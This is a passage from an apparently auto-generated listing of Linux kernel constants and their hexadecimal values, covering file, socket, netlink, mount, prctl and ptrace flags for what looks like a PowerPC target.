-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x4000
-- IBSHIFT = 0x10
-- ICANON = 0x100
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x400
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x80
-- ISTRIP = 0x20
-- IUCLC = 0x1000
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x400
-- IXON = 0x200
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x80
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x40
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x2000
-- MCL_FUTURE = 0x4000
-- MCL_ONFAULT = 0x8000
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NL2 = 0x200
-- NL3 = 0x300
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x300
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80000000
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x4
-- ONLCR = 0x2
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x20000
-- O_DIRECTORY = 0x4000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x8000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x404000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x1000
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x2000
-- PENDIN = 0x20000000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_SAO = 0x10
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETEVRREGS = 0x14
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGS64 = 0x16
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GETVRREGS = 0x12
-- PTRACE_GETVSRREGS = 0x1b
-- PTRACE_GET_DEBUGREG = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETEVRREGS = 0x15
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGS64 = 0x17
